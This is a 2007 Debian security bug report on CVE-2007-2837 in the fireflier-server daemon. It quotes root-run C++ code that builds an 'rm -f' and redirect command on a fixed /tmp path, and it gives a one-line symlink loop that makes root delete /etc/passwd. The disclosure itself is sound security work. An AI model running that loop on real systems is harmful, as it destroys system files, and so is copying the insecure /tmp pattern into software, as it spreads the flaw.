Subject: CVE-2007-2837: Arbitary file removal

From: Steve Kemp <[email-masked]>
Date: Sun, 1 Jul 2007 19:28:36 +0100

Package: fireflier-server
Version: 1.1.6-3
Severity: grave
Usertags: sourcescan

*** Please type your report below this line ***

  Security issue: CVE-2007-2837.

  The server, fireflierd, runs with root privileges and the code
 contains this gem which I think speaks for itself:

string getRule(unsigned int chainid, int rulenum)
{
   ...

   cmd="rm -f /tmp/fireflier.rules && touch /tmp/fireflier.rules && 
        chmod 0700 /tmp/fireflier.rules && ";
   cmd+=IPTABLES_SAVE;
   cmd+=" > /tmp/fireflier.rules";
   if(DEBUG)
     cout<<"cmd: "<<cmd<<endl;

   system(cmd.c_str());

   ...
}

  This contains several race conditions, and can be trivially exploited to
 remove any file on the server as root.

  For example run this as a user inside GNU screen:
   skx@vain:~$ while true; do ln -s  /etc/passwd  /tmp/fireflier.rules; done

  Wait for a root user to fetch/update/delete a rule using one of the available
 clients, and the /etc/passwd file will be removed.

Steve
--
#  Kink-Friendly Dating
http://ctrl-alt-date.com/